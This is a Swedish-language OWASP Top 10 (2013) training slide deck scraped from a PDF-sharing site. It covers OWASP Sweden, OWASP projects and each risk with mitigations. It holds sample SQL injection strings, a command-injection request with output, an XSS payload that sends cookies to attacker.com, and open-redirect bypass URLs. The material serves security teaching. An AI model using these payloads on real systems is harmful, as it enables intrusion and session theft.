Agenda - owasp

January 9, 2018 | Author: Anonymous | Category: Engineering & Technology, Datavetenskap, Databases
Share Embed Donate


Short Description

Download Agenda - owasp...

Description

OWASP Intro & OWASP Top 10

Mattias Bergling, OWASP Stockholm/Nasdaq

Agenda • OWASP • OWASP Sweden • OWASP projekt • OWASP Top10

Mattias Bergling • Jobbat med IT-säkerhet i ~15 år • Största delen av tiden på Inspect it >> 2Secure • Numera applikationssäkerhet på Nasdaq

• Startade OWASP Sweden tillsammans med John Wilander 2008 • Var med och anordnade OWASP AppSec EU 2010 • För närvarande i ledningsgruppen för OWASP Stockholm

OWASP • Startades 2001 • Global icke vinstdrivande organisation (501(c)(3)) • https://www.owasp.org

• Fokus på att förbättra säkerheten i mjukvara. • ~200 lokala chapters i ~100 länder. • Årlig konferens per världsdel

OWASP Sweden • Startades 2008 - https://www.owasp.org/index.php/Sweden • John Wilander & Mattias Bergling • Ledningsgrupp 3-6 personer

• Anordnade AppSec EU 2010 • 2-6 seminariekvällar per år

OWASP Sweden • Startades 2008 - https://www.owasp.org/index.php/Sweden • John Wilander & Mattias Bergling • Ledningsgrupp 3-6 personer

• Anordnade AppSec EU 2010 • 2-6 seminariekvällar per år • Göteborg och Linköping startades 2011 respektive 2013 • Sweden >> Stockholm

• Umeå 2015 • Anmälan till mailinglista/mailinglistor • https://lists.owasp.org/mailman/listinfo/owasp-sweden

OWASP Sweden • SQL Injection, Web Scarab • Security in the Open Source Process • OWASP AppSec Europe Conference 2010 • PCI DSS • XSS & CSRF • Code Analysis and Review • OWASP Top 10 2010 (rc1)

• The Big Protocols • Community Hack

• Samy XSS attack on MySpace • HTTP-säkerhet • "Security impact of SVG" + ""ECMA Script 5, a frozen DOM • OWASP Sweden SSL Day • Web Application Access Control Design Excellence • Secure Mashups, IT Sec in Cars, Buffer Overflow Prevention, "How We Won the Deutche Post Security Cup", and Multi-Step, Semi-Blind CSRF • JavaScript + RESTful Security

OWASP Projekt • 141 projekt

OWASP Projekt • 12 flaggskepp • Verktyg • Zed Attack Proxy • Web Testing Environment Project • OWTF • Dependency Check

• Kod • ModSecurity Core Rule Set Project • CSRFGuard Project • AppSensor Project

• Dokumentation • Application Security Verification Standard Project (ASVS) • Software Assurance Maturity Model (SAMM) • AppSensor Project • Top Ten Project • Testing Guide Project

OWASP Projekt • OWASP Testing guide • Version 4 släpptes nyligen • Täcker testning av webapplikationer • • • • • • • • • • •

Introduction and Objectives Configuration and Deployment Management Testing Identity Management Testing Authentication Testing Authorization Testing Session Management Testing Input Validation Testing Testing for Error Handling Testing for weak Cryptography Business Logic Testing Client Side Testing

• https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf

OWASP Testing Guide

OWASP Projekt • OWASP ZAP • Proxy och attack-/testverktyg • • • • • •

Intercepting proxy Spider Fuzzer Active/passive scanner Forced browser WebSockets, REST, Ajax ...

OWASP Projekt • OWASP Cheat Sheet • Samling kortfattade beskrivningar av olika ämnen • Både för testare och utvecklare

OWASP Cheat Sheet

OWASP Projekt • OWASP Developer Guide • Ursprungsprojektet som bidrog till OWASPs framgång. • Är dock under uppdatering då den senaste versionen inte var fulltäckande.

OWASP Projekt • OWASP ASVS (Application Security Verification Standard) • https://www.owasp.org/images/5/58/OWASP_ASVS_Version_2.pdf

• Krav på applikationer för att uppfylla olika säkerhetsnivåer • Level 1: Opportunistic • Level 2: Standard • Level 3: Advanced

•Kravområden •V2. Authentication •V3. Session Management •V4. Access Control •V5. Malicious Input Handling •V7. Cryptography at Rest

• • • • •

V8. Error Handling and Logging •V15. Business Logic •V16. File and Resource V9. Data Protection •V17. Mobile V10. Communications V11. HTTP V13. Malicious Controls

OWASP Projekt ASVS - V5: Malicious Input Handling Verification Requirements

OWASP Top 10 • Lista över de allvarligaste säkerhetsriskerna kring webapplikationer • Varje risk listar • • • • •

Beskrivning Sårbarhetsexempel Angreppsexempel Råd kring att undvika/åtgärda Referenser

• Uppdateras vart tredje år

OWASP Top 10

OWASP Top 10

OWASP Top 10

OWASP Top 10 • A1 Injection

• SQL, OS, LDAP etc

• A2 Broken Authentication and Session Management

• Authentication, session management tokens, timeouts tec.

• A6 Sensitive Data Exposure • Not protected enough in transit or at rest

• A7 Missing Function Level Access Control • Access to functions not normally available

• A3 Cross-Site Scripting (XSS)

• A8 Cross-Site Request Forgery (CSRF)

• A4 Insecure Direct Object References

• A9 Using Components with Known Vulnerabilities

• Stored, reflected or DOM based • Files, keys, directories exposed

• A5 Security Misconfiguration

• Weak or default configurations

• Force user to execute actions

• Libraries, frameworks, modules etc.

• A10 Unvalidated Redirects and Forwards • Acting without proper validation

A1 - Injection

A1 - Injection • Inträffar när data som skickas via parametrar angriparna kan påverka och tolkas som kommandon istället för data. • URL parametrar, HTTP headers, formulär/POST parametrar ...

• Valideras inte datan innan tolkning kan det medföra att angripare kan utföra egna frågor/kommandon. • Kategorin inkluderar attacker mot flertalet tolkar: • • • •

SQL Kommando LDAP XPATH

SQL-injection • Vanligaste och mest omtalade injektionsbristen • Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user +

“’ AND password=‘”

+ pass + “’”

SQL-injection • Vanligaste och mest omtalade injektionsbristen • Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user +

“’ AND password=‘”

•Vad händer om användaren heter O’Brian? String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’”

•Unclosed quotation mark at ...

+ pass + “’”

SQL-injection • Vanligaste och mest omtalade injektionsbristen • Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user +

“’ AND password=‘”

•Vad händer om användaren heter O’Brian? String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’”

•Unclosed quotation mark at ... •Vad händer om användaren heter ’ or ’’=’ eller ’ OR ’1’=’1’—? String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘’=‘’ AND password=‘’” String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘1’=‘1’-- AND password=‘’”

+ pass + “’”

SQL-injection

SQL-injection

Källa:

http://kaoticcreations.blogspot.se/2011/10/microsoft-sql-server-mssql-and-sql.html https://devcentral.f5.com/articles/the-power-of-response-signatures

SQL-injection • Identifiering • Detaljerade felmeddelanden • Olikheter i svar (mellan exempelvis ’ och ’’ eller 1 och 1%2b1) • Timingfunktioner • Waitfor delay, benchmark ...

SQL-injection • Dataextrahering • Information returnerad i korrekt avslutad fråga • UNION

• Detaljerade felmeddelanden • Felaktig konvertering

• Blind SQL-injection • Olikheter mellan svar • Side channels • Filer, nätverkskommunikation (DNS)

SQL-injection • Konsekvenser • Databasdumpar, intrång, utpressning, förnedring • Utökad funktionalitet • Nätverkskommunikation • Skriva till filer • Länkande databaser

SQL-injection • Åtgärder • Parameteriserade frågor • Separera data och syntax via placeholders - “Bind variables” till Prepared Statements • Java EE – use PreparedStatement() with bind variables • .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables • PHP – use PDO with strongly typed parameterized queries (using bindParam()) • Hibernate - use createQuery() with bind variables (called named parameters in Hibernate) • SQLite - use sqlite3_prepare() to create a statement object

SQL-injection • Åtgärder String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement( … ); ResultSet results = statement.executeQuery( query ); }

String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );

SQL-injection • Åtgärder • Andra åtgärder som ytterligare kan erbjuda “Layered Security” • Validera indata mot vit/svartlista • Tillämpa “Principle of Least Privilege” • Håll mjukvara och bibliotek uppdaterade

• Stored Procedure kan ha samma effekt som Prepared Statements om de används säkert - mao ingen dynamisk SQL i proceduren • SET @sqlDynamicQuery = 'Select * from where ShipOrders where ShipOrder= ''' + @OrderId + ''''' EXEC @sqlDynamicQuery //UNSAFE • SET @sqlDynamicQuery = 'Select * from where ShipOrders where ShipOrder= @orderId' EXECUTE sp_executesql @sqlDynamicQuery,N'@orderId varchar(250)',@OrderID //SAFE

SQL-injection • Mer information • https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_ Sheet • https://www.owasp.org/index.php/Query_Parameterization_Cheat_S heet • https://github.com/sqlmapproject/sqlmap • http://sqlfiddle.com/

Command injection • Målet är att exekvera egna kommandon på målsystemet genom att injecera tecken som avslutar datadelen och infogar egna kommandon • Kommadona exekveras då i ett operativsystemsskal vilket medför åtkomst till underliggande funktionalitet

Källa:

https://security.web.cern.ch/security/recommendations/en/web_applications.shtml

Command injection • Exempel •

Command injection • Fråga • http://127.0.0.1/delete.php?filename=bob.txt;id

• Svar • Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)

Command injection • Åtgärder • Undvik “farliga” funktioner • Vissa språk stödjer parameterisering • Filtrera indata mot en vit/svartlista

Command injection • Mer information • https://www.owasp.org/index.php/Command_Injection • http://cwe.mitre.org/data/definitions/77.html • http://cwe.mitre.org/data/definitions/78.html

Övriga injektioner • LDAP • SMTP • XPATH • ...

A2 - Autentisering och sessionshantering

A2 - Autentisering och sessionshantering • Inkluderade sårbarhetstyper • Svaga skyddsmekaniskmer för autentiseringsinformation • Möjligheten att gissa autentiseringsuppgifter • Sesionsuppgifter exponeras • Sessionsuppgifter återanvänds (Session Fixation) • Svagheter i timeout/logout-funktioner

Autentisering • Vanliga problemområden • Login/password reset/account creation avslöjar om kontot existerar • Klartext (A6) - http://httpshaming.tumblr.com/ • Lösenord sparas i klartext/reverserbart • Flashback/Pastebin/... • NIST ”Guide to Enterprise Password Management (Draft)”

• Standardkonton • DPL • Admin/demo/test/root/edit/administrator/demo1/test1/... • /password/Sommar15//secret/ hemligt/abc123/qwerty/qwe123/123qwe/123456 osv

Sessionshantering • Vanliga problemområden • Sessionsinformation i URL:en • Session fixation/logout/timeout • Funktionen för lösenordsbyte kräver inte det gamla lösenordet • Funktionen för lösenordsåterställning medger byte på valfritt konto

A2 - Autentisering och sessionshantering • Åtgärder • Följ kapitel V2 och V3 i OWASP ASVS • Använd bibliotek och centrala funktioner för autentisering och sessionshantering • Salta och hasha lösenord I databaser • Login och all kommunkation som innehåller sessionsinformation ska TLS:as • Sessionsidentifierara ska vara unika för sessionen, tillräckligt slumpmässiga och invalideras på serversidan • Returnera generiska felmeddelanden

A2 - Autentisering och sessionshantering • Mer information • Default Password List • http://www.phenoelit.org/dpl/dpl.html

• https://www.owasp.org/index.php/Authentication_Cheat_Sheet • https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet • https://www.owasp.org/index.php/Session_Management_Cheat_She et

A3 – Cross-Site Scripting

A3 – Cross-Site Scripting • Inkluderade sårbarhetstyper • Reflekterad XSS • Lagrad XSS • DOM-baserad XSS

A3 – Cross-Site Scripting • Introduktion • Webbläsare följer Same-origin-principle (S.O.P): • En sida som laddas från en domän får inte läsa information från andra domäner

• Ladda bilder och skript från andra domäner samt posta formulär till andra domäner är ok • Sidor laddade i exempelvis iframes kan inte läsa information från huvuddokumentet • XSS bryter SOP

A3 – Cross-Site Scripting • Vanliga problemområden • Alla parametrar som användaren kan påverka som direkt eller indirekt blir del av en resulterande sida. • (String) page += ""; • '>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie'

A3 – Cross-Site Scripting

Reflekterad XSS • •

Inträffar när data från angriparen inkluderas i den returnerande sidan till användern, i själva sidan eller felmeddlande, utan att kodas korrekt Scenario 1. En angripare identifierar en sårbar sida och konstruerar en länk som utnyttjar denna sårbarhet 2. Angriparen distribuerar länken till sina offer 3. Exekverar skripten i användarens webbläsare

Lagrad XSS • • •

Vanligtvis ansedd som den allvarligaste typen av XSS Data från användaren lagras, exemplevis i en databas, i applikationen och inkluderas i varje gång en användare efterfrågar informationen. Scenario: 1. En angripare kan infoga JavaScript i sitt namn som som lagras på serversidan 2. JavaScriptet exekveras varje gång någon besöker en sida där angriparens namn inkluderas 3. Skulle en administratör besöka en sida där alla användare listas skulle angriparen möjligtvis kunna erhålla dennes behörigheter

DOM-baserad XSS • Attacken skickas aldrig till servern utan tolkas direkt i webbläsaren • Inträffar när klientside JavaScript läser parametrar från sidan och uppdaterar sidan • (function(g) { var a=location.href.split(”#!”[1]; if(a){ g.location=g.HBR=a; } } )(window);

A3 – Cross-Site Scripting • Konsekvenser • Exekvera funktioner i applikationer som den angripne användaren • Läsa och skicka information till angriparen • Modifiera sidan • Automatisera händelser med BeEF

A3 – Cross-Site Scripting • Åtgärder • Koda all data I enlighet med dess HTML kontext: • HTML entity encode (< --> <, " --> ", ' --> ') kommer man långt med .. • Men kolla även andra kontexter i XSS Prevention Cheat Sheet

• Content Security Policy header • Manipulera HTML-dom via objekt och attribut, inte konkatenerade strängar • element.setAttribute(”value”, insecure_variable) istället för document.write(””);

A3 – Cross-Site Scripting • Mer information • https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preve ntion_Cheat_Sheet • https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Ch eat_Sheet • https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet • https://www.owasp.org/index.php/ASVS (V6) • https://www.xssposed.org/ • https://xss-game.appspot.com • http://beefproject.com

A4 – Insecure Direct Object References

A4 – Insecure Direct Object References • Sårbarhetstyper • De parametrar där användaren blir presenterad med objektets värde istället för en referens. (Direct) • De parametrar där användaren blir presenterad med en referens till oblektet, men referensen inte verifieras mot användarens behörigheter (Insecure)

A4 – Insecure Direct Object References • Kan en angripare ändra på en parameter i en fråga och få åtkomst till data/funktioner ej avsedd för denne så är den sårbar •Hämta information •http://foo.bar/somepage?invoice=12345 •http://foo.bar/somepage?invoice=12346 •Utföra en operation •http://foo.bar/changepassword?user=user1 •http://foo.bar/changepassword?user=user2

•Hämta filer •http://foo.bar/showImage?img=img00011 •http://foo.bar/showImage?img=img00012 •Presentera funktionalitet •http://foo.bar/accessPage?menuitem=12 •http://foo.bar/accessPage?menuitem=13

A4 – Insecure Direct Object References • Konsekvenser • En angripare får åtkomst till all data som refereras av den sårbara parametern - skulle kunna vara: • • • • • •

Alla filer I en molntjänst Alla kontouppgifter I en Internetbank Alla användare I en anonymiseringstjänst Alla recept I ett apotek Alla funktioner i en applikation …

A4 – Insecure Direct Object References • Åtgärder • Använd indirekta värden som mappas till resurser på applikationssidan, mappat till användarens session • Alternativt signera ala ViewState • Kontrollera att användarsessionen har behörighet att efterfråga resursen

A4 – Insecure Direct Object References • Mer information • https://www.owasp.org/index.php/ASVS (V4)

A5 – Security Misconfiguration

A5 – Security Misconfiguration • Inkluderade sårbarhetstyper • Avsaknas härdning av komponenter i applikationsstacken • • • •

Uppdateringar Säkerhetsinställningar Standardkonton/-inställningar/-funktioner Felhantering

A5 – Security Misconfiguration • Vanliga problemområden • Standardkonfigurationer • Uppdateringar av mjukvara utöver det som täcks av vanliga uppdateringsfunktioner

A5 – Security Misconfiguration

A5 – Security Misconfiguration

A5 – Security Misconfiguration • Konsekvenser • Allt ifrån informationsläckage till totalt ägd applikation

A5 – Security Misconfiguration • Åtgärder • Använd checklistor och härdningsguider när system deployas • Verifiera att inga nya funktioner aktiveras eller konfigureras om när uppdateringar appliceras • Använd arkitektur där olika komponenter och funktioner separeras • Skanna själv

A5 – Security Misconfiguration • Mer information • https://www.owasp.org/index.php/Testing_for_configuration_manag ement • https://www.owasp.org/index.php/ASVS (V12) • Center for Internet Security (CIS) – 101 härdningsguider • https://benchmarks.cisecurity.org/downloads/multiform/index.cfm

• DISA STIG:s • http://iase.disa.mil/stigs/Pages/index.aspx

A5 – Security Misconfiguration • http://www.shodanhq.com/search?q=Umea

•http://www.shodanhq.com/search?q=Umeå

A6 – Sensitive Data Exposure

A6 – Sensitive Data Exposure • Inkluderade sårbarhetstyper • Sparas känslig information i klartext • Skickas känslig information i klartext • Cashas känslig information hos klienten • Accepteras endast starka krypteringsprotokoll/-algoritmer • Skyddas nycklar på ett fullgott sätt

A6 – Sensitive Data Exposure • Vanliga problemområden • SSL/TLS • Avsaknden av • Svaga algoritmer/förhandlingar – downgrade • Delar av siter görs tillgängliga via klartext • Kryptering/hashning • Databasdumpar • Automatisk kryptering för ”Data at rest” • Hur skyddas nycklar • Vad och vart krypteras

A6 – Sensitive Data Exposure

Källa:

https://twitter.com/spazef0rze/status/513705914067853313

A6 – Sensitive Data Exposure • http://httpshaming.tumblr.com/

A6 – Sensitive Data Exposure •

Källa:

Jämförelse av databasdumpar

http://www.troyhunt.com/2011/06/owasp-top-10-for-net-developers-part-7.html https://samsclass.info/123/proj10/comparing-hashes.htm

A6 – Sensitive Data Exposure •

https://haveibeenpwned.com/

A6 – Sensitive Data Exposure • Konsekvenser • Känslig information exponeras för obehöriga individer. • Kan påverka andra siter och andra siters brister kan påverka er

A6 – Sensitive Data Exposure • Åtgärder • https://www.owasp.org/index.php/ASVS • Crypto (V7) • Data Prot. (V9) • SSL (V10)

• Kryptera känslig information • Salta och hasha lösenord med rekommenderad algoritm

• Spar endast känslig information i klartext så länge ni absolut måste • Acceptera endast godkända algoritmer • Överväg att använda HSM (FIPS-140)

A6 – Sensitive Data Exposure • Mer information • https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sh eet • https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet • https://www.owasp.org/index.php/Transport_Layer_Protection_Chea t_Sheet • https://www.owasp.org/index.php/ASVS • Crypto (V7) • Data Prot. (V9) • SSL (V10)

A7 – Missing Function Level Access Control

A7 – Missing Function Level Access Control • Inkluderade sårbarhetstyper • Horisontell privilege escalation • Vertikal privilege escalation • Kringgå autentisering

A7 – Missing Function Level Access Control • Angripare kan komma åt information eller funktioner de normalt inte skulle ha åtkomst till. • Beror på svagheter i accesskontroller • Testas genom ”forced browsing” mot en information&funktion/rollmatris

A7 – Missing Function Level Access Control • Konsekvenser • Horisontell privilege escalation • Kan en användare i applikationen komma åt information eller funktioner tillhörande någon annan användare?

• Vertikal privilege escalation • Kan en användare komma åt information eller funktioner endast tillgängliga för exempelvis en administratör?

• Kringgå autentisering • Kan en anonym användare komma åt information eller funktioner som endase inloggade användare ska komma åt?

A7 – Missing Function Level Access Control • Åtgärder • Använd centraliserad access kontroll (på serversidan;-) • Standard ska vara ”Default Deny” • Designa access kontroll som ett filter • Begränsa åtkomst till administrativa gränssnitt • Begränsa åtkomst till filer inte supporterade av applikationen

A7 – Missing Function Level Access Control • Mer information • https://www.owasp.org/index.php/ASVS (V4) • http://cwe.mitre.org/data/definitions/285.html

A8 – Cross-Site Request Forgery (CSRF)

A8 – Cross-Site Request Forgery (CSRF) • Sårbarheten • Möjligheten att tvinga en autentiserad användare att utföra händelser i applikationen.

Källa:

http://paulsec.github.io/bsides-london-2014/

A8 – Cross-Site Request Forgery (CSRF) • Problemet • Applikationen förliter sig endast på sessionsinformationen från en autentiserad användare. Följande exempel är för en transaktion: • http://example.com/app/transferFunds?amount=1500&des tinationAccount=4673243243

• Om en angripare inkluderar följande kod på en populär sida – vad händer? •

• Varje gång sidan besöks av en användare som är inloggad i example.com kommer transaktionen genomföras!

A8 – Cross-Site Request Forgery (CSRF) • Konsekvenser • En angripare kan får en applikationsanvändare att utföra händelser i dennes namn.

A8 – Cross-Site Request Forgery (CSRF) • Åtgärder • Inkludera ett slumpmässigt värde i varje förfrågan (Synchronizer Token) • Värdet bör skickas som ett ”Hidden Field” och inte i URL:en då denna i vissa fall kan avläsas av angriparen.

• Kontrollera Origin headern (XMLHttpRequest) • Signera content ala ViewState • Vissa kritiska funktioner kanske ska skyddas med ytterligare en autentisering/CAPTCHA • Andra alternativ som anses erbjuda ett svagare CSRF skydd är att kontrollera headers

A8 – Cross-Site Request Forgery (CSRF) • Åtgärder som inte fungerar • Använda hemliga cookies • Endast acceptera HTTP POST • Att dela upp frågan i flera steg • Inkludera sessionsinformation i URL:en • Skyddar mot CSRF men är inte attrekommendera

A8 – Cross-Site Request Forgery (CSRF) • Mer information • https://www.owasp.org/index.php/CrossSite_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet • https://www.owasp.org/index.php/CSRFGuard

A9 – Using Components with Known Vulnerabilities

A9 – Using Components with Known Vulnerabilities • Brister kan förekomma och utnyttjas i hela applikationsstacken • • • • •

Operativsystem Webserver Applikationsserver Applikation och bibliotek Databas

• Samtlika komponenter behöver kontinuerligt uppdateras för att inte publikt kända brister ska utnyttjas • 70000-80000 publikt rapporterade brister av olika allvarlighetsgrad • CVSS2 visar bristens allvarlighetsgrad

A9 – Using Components with Known Vulnerabilities • Konsekvenser • Allt ifrån informationsläckage till totalt ägd applikation

Källa:

https://blog.whitehatsec.com/the-ghost-of-information-disclosure/

A9 – Using Components with Known Vulnerabilities • Åtgärder • Uppgradera till version som adresserar de identifierade säkerhetsproblemen – vanligtvis senaste versionen. • Skapa process för att: • Identifiera bibliotek, komponenter och beroenden • Monitorera dessa i publika kanaler (mailinglistor, säkerhetsforum mm)

• Försök begränsa antalet komponenter och versioner som får användas i organisationen • Skapa konfigurationsrekommendationer för de godkända komponenterna • Skapa rutiner för 0-day i de komponenter som används publikt • Heartbleed, ShellShock, Poodle ....

A9 – Using Components with Known Vulnerabilities • Mer information • http://osvdb.org/ • http://cve.mitre.org/data/downloads/allitems.csv • OBS! 61MB = Alla 65535 CVE:er. Och några till (~80100) om man öppnar filen I en riktig editor ;-) • Runt 10000 av dessa är ** RESERVED **, mao ej publikt annonserade • Dubletter, false positives, rapporterade men ej patchade än, blev aldrig publik…

• https://nvd.nist.gov/cvss.cfm • https://www.owasp.org/index.php/OWASP_Dependency_Check • http://zone-h.com/

A9 – Using Components with Known Vulnerabilities

A10 – Unvalidated Redirects and Forwards

A10 – Unvalidated Redirects and Forwards • Inkluderade sårbarhetstyper • Omdirigering till andra siter • Omdirigering mellan olika delar av en site

A10 – Unvalidated Redirects and Forwards • Vanliga problemområden • Login/logout • Inbäddade externa funktioner • Federering • Mesh

A10 – Unvalidated Redirects and Forwards • Problemet • Omdirigeringen begränsas inte till sin tilltänkta destination • •

http://good.com/redirect.jsp?url=bad.com http://example.com/home.jsp?fwd=admin.jsp

A10 – Unvalidated Redirects and Forwards • Konsekvenser • Angripare kan lura användaren att sidan som presenteras är legitim • Angripare kan erhålla obehörig åtkomst till funtionalitet som borde vara begränsad

A10 – Unvalidated Redirects and Forwards • Åtgärder • Undvik att använda Rediects och Forwards • Undvik att använda parametrar som användaren kan ha påverkat I besluten • Undvik att inkludera själva adressen utan hellre en referens till adressen • Den sista utposten är att validera URL:en mot en vitlista – vilket har blivit fel I mer än ett fall • http://good1.com/redir?url=good2.com //måste börja på good2.com

A10 – Unvalidated Redirects and Forwards • Åtgärder • Undvik att använda Redirects och Forwards • Undvik att använda parametrar som användaren kan ha påverkat I besluten • Undvik att inkludera själva adressen utan hellre en referens till adressen • Den sista utposten är att validera URL:en mot en vitlista – vilket har blivit fel I mer än ett fall • http://good1.com/redir?url=good2.com //måste börja på good2.com http://good1.com/redir?url=good2.com:[email protected] http://good1.com/redir?url=good2.com.bad1.com

A10 – Unvalidated Redirects and Forwards • Mer information • https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forw ards_Cheat_Sheet

Frågor?

[email protected]

View more...

Comments

Copyright � 2017 NANOPDF Inc.
SUPPORT NANOPDF